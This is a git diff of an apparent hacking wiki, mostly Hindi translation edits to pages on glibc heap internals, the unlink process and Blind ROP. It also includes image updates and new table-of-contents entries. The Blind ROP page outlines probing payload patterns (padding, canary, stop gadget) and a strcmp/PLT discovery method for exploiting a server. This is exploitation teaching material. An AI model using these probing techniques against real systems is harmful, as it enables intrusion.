diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png index 4207464e0..e70bceed6 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png index e70bceed6..d798d9edc 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png index d798d9edc..1ec78aebd 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1).png index 1ec78aebd..020fb69e2 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1).png index 020fb69e2..e3657baf3 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png index e3657baf3..f95e8e4d5 100644 Binary files a/.gitbook/assets/image (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png index f95e8e4d5..9dcb86f81 100644 Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png index 9dcb86f81..f3314db22 100644 Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ diff --git a/.gitbook/assets/image (10) (1) (1) (1).png b/.gitbook/assets/image (10) (1) (1) (1).png new file mode 100644 index 000000000..00fb8b946 Binary files /dev/null and b/.gitbook/assets/image (10) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (10) (1) (1).png b/.gitbook/assets/image (10) (1) (1).png index 00fb8b946..210d7bd3f 100644 Binary files a/.gitbook/assets/image (10) (1) (1).png and b/.gitbook/assets/image (10) (1) (1).png differ diff --git a/.gitbook/assets/image (10) (1).png b/.gitbook/assets/image (10) (1).png index 210d7bd3f..b50bbce21 100644 Binary files a/.gitbook/assets/image (10) (1).png and b/.gitbook/assets/image (10) (1).png differ diff --git a/.gitbook/assets/image (10).png b/.gitbook/assets/image (10).png index b50bbce21..967f978dc 100644 Binary files a/.gitbook/assets/image (10).png and b/.gitbook/assets/image (10).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png index 94022a58d..82f1650c7 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1).png index 82f1650c7..176e28e26 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1).png index 176e28e26..64296ef72 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1).png b/.gitbook/assets/image (2) (1) (1).png index 64296ef72..50038b5d5 100644 Binary files a/.gitbook/assets/image (2) (1) (1).png and b/.gitbook/assets/image (2) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1).png b/.gitbook/assets/image (2) (1).png index 50038b5d5..9dcb86f81 100644 Binary files a/.gitbook/assets/image (2) (1).png and b/.gitbook/assets/image (2) (1).png differ diff --git a/.gitbook/assets/image (2).png b/.gitbook/assets/image (2).png index 9dcb86f81..5fa9a546e 100644 Binary files a/.gitbook/assets/image (2).png and b/.gitbook/assets/image (2).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png index cdd56bb93..f2f640d8c 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1).png index f2f640d8c..17acb7d7e 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1).png index 17acb7d7e..11b8e0e8c 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1).png b/.gitbook/assets/image (3) (1) (1).png index 11b8e0e8c..dffdfc131 100644 Binary files a/.gitbook/assets/image (3) (1) (1).png and b/.gitbook/assets/image (3) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1).png b/.gitbook/assets/image (3) (1).png index dffdfc131..736d79e58 100644 Binary files a/.gitbook/assets/image (3) (1).png and b/.gitbook/assets/image (3) (1).png differ diff --git a/.gitbook/assets/image (3).png b/.gitbook/assets/image (3).png index 736d79e58..2a0aece08 100644 Binary files a/.gitbook/assets/image (3).png and b/.gitbook/assets/image (3).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png index 8cd1f020d..ffd8adf04 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png index ffd8adf04..ee3722524 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1).png index ee3722524..92ceed745 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1).png index 92ceed745..4c7c93f13 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1).png b/.gitbook/assets/image (4) (1) (1).png index 4c7c93f13..fc56a6956 100644 Binary files a/.gitbook/assets/image (4) (1) (1).png and b/.gitbook/assets/image (4) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1).png b/.gitbook/assets/image (4) (1).png index fc56a6956..645f58c3e 100644 Binary files a/.gitbook/assets/image (4) (1).png and b/.gitbook/assets/image (4) (1).png differ diff --git a/.gitbook/assets/image (4).png b/.gitbook/assets/image (4).png index 645f58c3e..2ff839cf1 100644 Binary files a/.gitbook/assets/image (4).png and b/.gitbook/assets/image (4).png differ diff --git a/.gitbook/assets/image (5) (1) (1) (1) (1).png b/.gitbook/assets/image (5) (1) (1) (1) (1).png index 77f2a8962..b2c2c3d26 100644 Binary files a/.gitbook/assets/image (5) (1) (1) (1) (1).png and b/.gitbook/assets/image (5) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (5) (1) (1) (1).png b/.gitbook/assets/image (5) (1) (1) (1).png index b2c2c3d26..70413c7ff 100644 Binary files a/.gitbook/assets/image (5) (1) (1) (1).png and b/.gitbook/assets/image (5) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (5) (1) (1).png b/.gitbook/assets/image (5) (1) (1).png index 70413c7ff..e7f03abf8 100644 Binary files a/.gitbook/assets/image (5) (1) (1).png and b/.gitbook/assets/image (5) (1) (1).png differ diff --git a/.gitbook/assets/image (5) (1).png b/.gitbook/assets/image (5) (1).png index e7f03abf8..ec0ab0837 100644 Binary files a/.gitbook/assets/image (5) (1).png and b/.gitbook/assets/image (5) (1).png differ diff --git a/.gitbook/assets/image (5).png b/.gitbook/assets/image (5).png index ec0ab0837..35fb63c4e 100644 Binary files a/.gitbook/assets/image (5).png and b/.gitbook/assets/image (5).png differ diff --git a/.gitbook/assets/image (6) (1) (1) (1).png b/.gitbook/assets/image (6) (1) (1) (1).png index 76f38c14f..3646dc3f3 100644 Binary files a/.gitbook/assets/image (6) (1) (1) (1).png and b/.gitbook/assets/image (6) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (6) (1) (1).png b/.gitbook/assets/image (6) (1) (1).png index 3646dc3f3..e5ab74cb8 100644 Binary files a/.gitbook/assets/image (6) (1) (1).png and b/.gitbook/assets/image (6) (1) (1).png differ diff --git a/.gitbook/assets/image (6) (1).png b/.gitbook/assets/image (6) (1).png index e5ab74cb8..862b51b61 100644 Binary files a/.gitbook/assets/image (6) (1).png and b/.gitbook/assets/image (6) (1).png differ diff --git a/.gitbook/assets/image (6).png b/.gitbook/assets/image (6).png index 862b51b61..43f76e523 100644 Binary files a/.gitbook/assets/image (6).png and b/.gitbook/assets/image (6).png differ diff --git a/.gitbook/assets/image (7) (1) (1) (1).png b/.gitbook/assets/image (7) (1) (1) (1).png index d56929629..13854046c 100644 Binary files a/.gitbook/assets/image (7) (1) (1) (1).png and b/.gitbook/assets/image (7) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (7) (1) (1).png b/.gitbook/assets/image (7) (1) (1).png index 13854046c..511d74528 100644 Binary files a/.gitbook/assets/image (7) (1) (1).png and b/.gitbook/assets/image (7) (1) (1).png differ diff --git a/.gitbook/assets/image (7) (1).png b/.gitbook/assets/image (7) (1).png index 511d74528..6b5ed45a3 100644 Binary files a/.gitbook/assets/image (7) (1).png and b/.gitbook/assets/image (7) (1).png differ diff --git a/.gitbook/assets/image (7).png b/.gitbook/assets/image (7).png index 6b5ed45a3..1ecf1f881 100644 Binary files a/.gitbook/assets/image (7).png and b/.gitbook/assets/image (7).png differ diff --git a/.gitbook/assets/image (8) (1) (1) (1).png b/.gitbook/assets/image (8) (1) (1) (1).png new file mode 100644 index 000000000..6c2c20ea1 Binary files /dev/null and b/.gitbook/assets/image (8) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (8) (1) (1).png b/.gitbook/assets/image (8) (1) (1).png index 6c2c20ea1..4464dc171 100644 Binary files a/.gitbook/assets/image (8) (1) (1).png and b/.gitbook/assets/image (8) (1) (1).png differ diff --git a/.gitbook/assets/image (8) (1).png b/.gitbook/assets/image (8) (1).png index 4464dc171..f3c1e1e90 100644 Binary files a/.gitbook/assets/image (8) (1).png and b/.gitbook/assets/image (8) (1).png differ diff --git a/.gitbook/assets/image (8).png b/.gitbook/assets/image (8).png index f3c1e1e90..74e74b70b 100644 Binary files a/.gitbook/assets/image (8).png and b/.gitbook/assets/image (8).png differ diff --git a/.gitbook/assets/image (9) (1) (1) (1).png b/.gitbook/assets/image (9) (1) (1) (1).png new file mode 100644 index 000000000..2c0467343 Binary files /dev/null and b/.gitbook/assets/image (9) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (9) (1) (1).png b/.gitbook/assets/image (9) (1) (1).png index 2c0467343..a3d5f99f0 100644 Binary files a/.gitbook/assets/image (9) (1) (1).png and b/.gitbook/assets/image (9) (1) (1).png differ diff --git a/.gitbook/assets/image (9) (1).png b/.gitbook/assets/image (9) (1).png index a3d5f99f0..3530fa487 100644 Binary files a/.gitbook/assets/image (9) (1).png and b/.gitbook/assets/image (9) (1).png differ diff --git a/.gitbook/assets/image (9).png b/.gitbook/assets/image (9).png index 3530fa487..b415d20a6 100644 Binary files a/.gitbook/assets/image (9).png and b/.gitbook/assets/image (9).png differ diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png index 967f978dc..7a07c3343 100644 Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ diff --git a/SUMMARY.md b/SUMMARY.md index 1340219ad..c680a4b04 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -839,8 +839,16 @@ * [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md) * [Industrial Control Systems Hacking](todo/industrial-control-systems-hacking/README.md) * [LLM Training - Data Preparation](todo/llm-training-data-preparation/README.md) - * [5. Fine-Tuning for Classification](todo/llm-training-data-preparation/5.-fine-tuning-for-classification.md) - * [4. Pre-training](todo/llm-training-data-preparation/4.-pre-training.md) + * [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md) + * [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md) + * [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md) + * [3. Token Embeddings](todo/llm-training-data-preparation/3.-token-embeddings.md) + * [4. Attention Mechanisms](todo/llm-training-data-preparation/4.-attention-mechanisms.md) + * [5. LLM Architecture](todo/llm-training-data-preparation/5.-llm-architecture.md) + * [6. Pre-training & Loading models](todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md) + * [7.0. LoRA Improvements in fine-tuning](todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md) + * [7.1. Fine-Tuning for Classification](todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md) + * [7.2. Fine-Tuning to follow instructions](todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md) * [Burp Suite](todo/burp-suite.md) * [Other Web Tricks](todo/other-web-tricks.md) * [Interesting HTTP](todo/interesting-http.md) diff --git a/binary-exploitation/libc-heap/README.md b/binary-exploitation/libc-heap/README.md index 2bb82ba3c..15521019d 100644 --- a/binary-exploitation/libc-heap/README.md +++ b/binary-exploitation/libc-heap/README.md @@ -4,7 +4,7 @@ हीप मूल रूप से वह स्थान है जहाँ एक प्रोग्राम डेटा को स्टोर कर सकेगा जब वह डेटा को **`malloc`**, `calloc`... जैसी फ़ंक्शनों को कॉल करके अनुरोध करता है। इसके अलावा, जब इस मेमोरी की अब आवश्यकता नहीं होती है, तो इसे **`free`** फ़ंक्शन को कॉल करके उपलब्ध कराया जाता है। -जैसा कि दिखाया गया है, यह उस स्थान के ठीक बाद है जहाँ बाइनरी मेमोरी में लोड हो रही है (चेक करें `[heap]` अनुभाग): +जैसा कि दिखाया गया है, यह उस स्थान के ठीक बाद है जहाँ बाइनरी मेमोरी में लोड हो रही है (चेक करें `[heap]` सेक्शन):
@@ -14,7 +14,7 @@ स्थान आरक्षित करने के विभिन्न तरीके हैं जो मुख्य रूप से उपयोग किए गए बिन पर निर्भर करते हैं, लेकिन एक सामान्य कार्यप्रणाली निम्नलिखित है: -* प्रोग्राम एक निश्चित मात्रा में मेमोरी का अनुरोध करके शुरू होता है। +* प्रोग्राम एक निश्चित मात्रा में मेमोरी के लिए अनुरोध करना शुरू करता है। * यदि चंक्स की सूची में कोई उपलब्ध बड़ा चंक है जो अनुरोध को पूरा कर सकता है, तो इसका उपयोग किया जाएगा। * इसका मतलब यह भी हो सकता है कि उपलब्ध चंक का एक भाग इस अनुरोध के लिए उपयोग किया जाएगा और बाकी चंक्स की सूची में जोड़ा जाएगा। * यदि सूची में कोई उपलब्ध चंक नहीं है लेकिन आवंटित हीप मेमोरी में अभी भी स्थान है, तो हीप प्रबंधक एक नया चंक बनाता है। @@ -25,26 +25,26 @@ ## Arenas -**मल्टीथ्रेडेड** अनुप्रयोगों में, हीप प्रबंधक को **रेस कंडीशंस** को रोकना चाहिए जो क्रैश का कारण बन सकती हैं। प्रारंभ में, यह सुनिश्चित करने के लिए एक **वैश्विक म्यूटेक्स** का उपयोग करके किया गया था कि केवल एक थ्रेड एक समय में हीप तक पहुँच सकता है, लेकिन इससे म्यूटेक्स-प्रेरित बाधा के कारण **प्रदर्शन समस्याएँ** उत्पन्न हुईं। +**मल्टीथ्रेडेड** अनुप्रयोगों में, हीप प्रबंधक को **रेस कंडीशंस** को रोकना चाहिए जो क्रैश का कारण बन सकती हैं। प्रारंभ में, यह सुनिश्चित करने के लिए एक **वैश्विक म्यूटेक्स** का उपयोग करके किया गया था कि केवल एक थ्रेड एक समय में हीप तक पहुँच सकता है, लेकिन इससे म्यूटेक्स-प्रेरित बाधा के कारण **प्रदर्शन समस्याएँ** हुईं। -इसका समाधान करने के लिए, ptmalloc2 हीप आवंटक ने "एरेनास" पेश किए, जहाँ **प्रत्येक एरेना** एक **अलग हीप** के रूप में कार्य करता है जिसमें इसके **अपने** डेटा **संरचनाएँ** और **म्यूटेक्स** होते हैं, जिससे कई थ्रेड बिना एक-दूसरे में हस्तक्षेप किए हीप ऑपरेशंस कर सकते हैं, जब तक कि वे अलग-अलग एरेनास का उपयोग करते हैं। +इससे निपटने के लिए, ptmalloc2 हीप आवंटक ने "एरेनास" पेश किए, जहाँ **प्रत्येक एरेना** एक **अलग हीप** के रूप में कार्य करता है जिसमें इसके **अपने** डेटा **संरचनाएँ** और **म्यूटेक्स** होते हैं, जिससे कई थ्रेड बिना एक-दूसरे में हस्तक्षेप किए हीप ऑपरेशंस कर सकते हैं, जब तक कि वे अलग-अलग एरेनास का उपयोग करते हैं। -डिफ़ॉल्ट "मुख्य" एरेना एकल-थ्रेडेड अनुप्रयोगों के लिए हीप ऑपरेशंस को संभालता है। जब **नए थ्रेड** जोड़े जाते हैं, तो हीप प्रबंधक उन्हें **माध्यमिक एरेनास** सौंपता है ताकि प्रतिस्पर्धा को कम किया जा सके। यह पहले प्रत्येक नए थ्रेड को एक अप्रयुक्त एरेना से जोड़ने का प्रयास करता है, यदि आवश्यक हो तो नए बनाता है, 32-बिट सिस्टम के लिए CPU कोर की संख्या के 2 गुना और 64-बिट सिस्टम के लिए 8 गुना तक। एक बार सीमा पहुँच जाने पर, **थ्रेड्स को एरेनास साझा करना होगा**, जिससे संभावित प्रतिस्पर्धा उत्पन्न होती है। +डिफ़ॉल्ट "मुख्य" एरेना एकल-थ्रेडेड अनुप्रयोगों के लिए हीप ऑपरेशंस को संभालता है। जब **नए थ्रेड** जोड़े जाते हैं, तो हीप प्रबंधक उन्हें **माध्यमिक एरेनास** सौंपता है ताकि प्रतिस्पर्धा को कम किया जा सके। यह पहले प्रत्येक नए थ्रेड को एक अप्रयुक्त एरेना से जोड़ने का प्रयास करता है, यदि आवश्यक हो तो नए बनाता है, 32-बिट सिस्टम के लिए CPU कोर की संख्या के 2 गुना और 64-बिट सिस्टम के लिए 8 गुना तक। एक बार सीमा पहुँच जाने पर, **थ्रेड्स को एरेनास साझा करना होगा**, जिससे संभावित प्रतिस्पर्धा होती है। मुख्य एरेना के विपरीत, जो `brk` सिस्टम कॉल का उपयोग करके विस्तारित होता है, माध्यमिक एरेनास "सबहीप्स" बनाते हैं जो `mmap` और `mprotect` का उपयोग करके हीप व्यवहार का अनुकरण करते हैं, जिससे मल्टीथ्रेडेड ऑपरेशंस के लिए मेमोरी प्रबंधन में लचीलापन मिलता है। ### Subheaps -सबहीप्स मल्टीथ्रेडेड अनुप्रयोगों में माध्यमिक एरेनास के लिए मेमोरी रिजर्व के रूप में कार्य करते हैं, जिससे उन्हें बढ़ने और अपने हीप क्षेत्रों को मुख्य हीप से अलग प्रबंधित करने की अनुमति मिलती है। यहाँ बताया गया है कि सबहीप्स प्रारंभिक हीप से कैसे भिन्न होते हैं और वे कैसे कार्य करते हैं: +सबहीप्स मल्टीथ्रेडेड अनुप्रयोगों में माध्यमिक एरेनास के लिए मेमोरी रिजर्व के रूप में कार्य करते हैं, जिससे उन्हें बढ़ने और अपने हीप क्षेत्रों का प्रबंधन मुख्य हीप से अलग करने की अनुमति मिलती है। यहाँ बताया गया है कि सबहीप्स प्रारंभिक हीप से कैसे भिन्न होते हैं और वे कैसे कार्य करते हैं: 1. **प्रारंभिक हीप बनाम सबहीप्स**: * प्रारंभिक हीप प्रोग्राम की बाइनरी के ठीक बाद मेमोरी में स्थित होती है, और यह `sbrk` सिस्टम कॉल का उपयोग करके विस्तारित होती है। * सबहीप्स, जो माध्यमिक एरेनास द्वारा उपयोग किए जाते हैं, `mmap` के माध्यम से बनाए जाते हैं, जो एक निर्दिष्ट मेमोरी क्षेत्र को मैप करने वाला सिस्टम कॉल है। 2. **`mmap` के साथ मेमोरी आरक्षण**: -* जब हीप प्रबंधक एक सबहीप बनाता है, तो यह `mmap` के माध्यम से मेमोरी का एक बड़ा ब्लॉक आरक्षित करता है। यह आरक्षण तुरंत मेमोरी आवंटित नहीं करता है; यह बस एक क्षेत्र को निर्दिष्ट करता है जिसे अन्य सिस्टम प्रक्रियाएँ या आवंटन उपयोग नहीं करना चाहिए। +* जब हीप प्रबंधक एक सबहीप बनाता है, तो यह `mmap` के माध्यम से मेमोरी का एक बड़ा ब्लॉक आरक्षित करता है। यह आरक्षण तुरंत मेमोरी आवंटित नहीं करता है; यह बस एक क्षेत्र को निर्दिष्ट करता है जिसका उपयोग अन्य सिस्टम प्रक्रियाओं या आवंटनों को नहीं करना चाहिए। * डिफ़ॉल्ट रूप से, एक सबहीप के लिए आरक्षित आकार 32-बिट प्रक्रियाओं के लिए 1 MB और 64-बिट प्रक्रियाओं के लिए 64 MB है। 3. **`mprotect` के साथ क्रमिक विस्तार**: -* आरक्षित मेमोरी क्षेत्र को प्रारंभ में `PROT_NONE` के रूप में चिह्नित किया जाता है, यह दर्शाते हुए कि कर्नेल को अभी इस स्थान के लिए भौतिक मेमोरी आवंटित करने की आवश्यकता नहीं है। +* आरक्षित मेमोरी क्षेत्र को प्रारंभ में `PROT_NONE` के रूप में चिह्नित किया जाता है, यह दर्शाता है कि कर्नेल को अभी इस स्थान के लिए भौतिक मेमोरी आवंटित करने की आवश्यकता नहीं है। * सबहीप को "बढ़ाने" के लिए, हीप प्रबंधक `mprotect` का उपयोग करके पृष्ठ अनुमतियों को `PROT_NONE` से `PROT_READ | PROT_WRITE` में बदलता है, जिससे कर्नेल को पहले से आरक्षित पते पर भौतिक मेमोरी आवंटित करने के लिए प्रेरित किया जाता है। यह चरण-दर-चरण दृष्टिकोण सबहीप को आवश्यकतानुसार बढ़ने की अनुमति देता है। * एक बार जब पूरा सबहीप समाप्त हो जाता है, तो हीप प्रबंधक एक नया सबहीप बनाता है ताकि आवंटन जारी रह सके। @@ -77,7 +77,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; इस संरचना से कुछ दिलचस्प बातें नोट करने के लिए हैं (नीचे C कोड देखें): * `__libc_lock_define (, mutex);` यह सुनिश्चित करने के लिए है कि इस हीप से यह संरचना एक समय में 1 थ्रेड द्वारा एक्सेस की जाए -* फ्लैग्स: +* फ्लैग: * ```c #define NONCONTIGUOUS_BIT (2U) @@ -163,9 +163,9 @@ typedef struct malloc_chunk* mchunkptr; * `A`: यदि 1 है तो यह एक सबहीप से आता है, यदि 0 है तो यह मुख्य एरेना में है * `M`: यदि 1 है, तो यह चंक mmap के साथ आवंटित स्थान का हिस्सा है और हीप का हिस्सा नहीं है -* `P`: यदि 1 है, तो पिछला चंक उपयोग में है +* `P`: यदि 1 है, तो पिछले चंक का उपयोग हो रहा है -फिर, उपयोगकर्ता डेटा के लिए स्थान, और अंत में 0x08B यह दर्शाने के लिए कि चंक उपलब्ध होने पर पिछला चंक आकार क्या है (या जब यह आवंटित होता है तो उपयोगकर्ता डेटा को संग्रहीत करने के लिए)। +फिर, उपयोगकर्ता डेटा के लिए स्थान, और अंत में 0x08B यह दर्शाने के लिए कि चंक उपलब्ध होने पर पिछले चंक का आकार (या जब यह आवंटित होता है तो उपयोगकर्ता डेटा को संग्रहीत करने के लिए)। इसके अलावा, जब उपलब्ध होता है, तो उपयोगकर्ता डेटा में कुछ डेटा भी शामिल होता है: @@ -351,7 +351,7 @@ people extending or adapting this malloc. #define clear_inuse_bit_at_offset(p, s) \ (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) ``` -* हेड और फूटर सेट करें (जब चंक नंबर का उपयोग किया जा रहा हो) +* हेड और फुटर सेट करें (जब चंक नंबर का उपयोग किया जा रहा हो) ```c /* Set size at head, without disturbing its use bit */ #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) @@ -470,15 +470,15 @@ return 0; पिछले उदाहरण को डिबग करते समय यह देखा जा सकता है कि शुरुआत में केवल 1 एरेना है: -
+
फिर, पहले थ्रेड को कॉल करने के बाद, जो malloc को कॉल करता है, एक नया एरेना बनाया जाता है: -
+
और इसके अंदर कुछ चंक्स पाए जा सकते हैं: -
+
## बिन और मेमोरी आवंटन/फ्रीज़ @@ -490,7 +490,7 @@ return 0; ## हीप फ़ंक्शंस सुरक्षा जांच -हीप में शामिल फ़ंक्शन अपने कार्यों को करने से पहले कुछ जांच करेंगे ताकि यह सुनिश्चित किया जा सके कि हीप भ्रष्ट नहीं हुआ है: +हीप में शामिल फ़ंक्शंस अपने कार्यों को करने से पहले कुछ जांच करेंगे ताकि यह सुनिश्चित किया जा सके कि हीप भ्रष्ट नहीं हुआ है: {% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %} [heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md) diff --git a/binary-exploitation/libc-heap/heap-memory-functions/unlink.md b/binary-exploitation/libc-heap/heap-memory-functions/unlink.md index 24aa179c1..ebb31c03b 100644 --- a/binary-exploitation/libc-heap/heap-memory-functions/unlink.md +++ b/binary-exploitation/libc-heap/heap-memory-functions/unlink.md @@ -9,8 +9,8 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें। +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। {% endhint %} @@ -67,7 +67,7 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize; Check this great graphical explanation of the unlink process: -

https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png

+

https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png

### Security Checks diff --git a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md index 1b9d4887b..3e48ba4a7 100644 --- a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md +++ b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md @@ -17,21 +17,21 @@ Learn & practice GCP Hacking:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

+

https://www.scs.stanford.edu/brop/bittau-brop.pdf

ये गैजेट होंगे: @@ -60,13 +60,13 @@ Learn & practice GCP Hacking: कोई क्रैश नहीं * `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> कोई क्रैश नहीं @@ -76,14 +76,14 @@ PLT तालिका को 0x400000 से या स्टैक से ** **`strcmp`** फ़ंक्शन रजिस्टर **`rdx`** को तुलना की जा रही स्ट्रिंग की लंबाई पर सेट करता है। ध्यान दें कि **`rdx`** **तीसरा तर्क** है और हमें इसे **0 से बड़ा** होना चाहिए ताकि बाद में `write` का उपयोग करके प्रोग्राम को लीक किया जा सके। -यह संभव है कि **`strcmp`** के स्थान को PLT में इसके व्यवहार के आधार पर खोजा जाए, यह देखते हुए कि हम अब फ़ंक्शनों के 2 पहले तर्कों को नियंत्रित कर सकते हैं: +हम **`strcmp`** के स्थान को PLT में इसके व्यवहार के आधार पर खोज सकते हैं यह देखते हुए कि हम अब फ़ंक्शनों के 2 पहले तर्कों को नियंत्रित कर सकते हैं: * strcmp(\, \) -> क्रैश * strcmp(\, \) -> क्रैश * strcmp(\, \) -> क्रैश * strcmp(\, \) -> कोई क्रैश नहीं -इसकी जांच करने के लिए PLT तालिका के प्रत्येक प्रविष्टि को कॉल करके या **PLT धीमी पथ** का उपयोग करके किया जा सकता है, जो मूल रूप से **PLT तालिका में एक प्रविष्टि को कॉल करने** का कार्य करता है + 0xb (जो **`dlresolve`** को कॉल करता है) और स्टैक में **प्रविष्टि संख्या जिसे आप जांचना चाहते हैं** (शून्य से शुरू) को स्कैन करने के लिए: +इसकी जाँच करने के लिए PLT तालिका के प्रत्येक 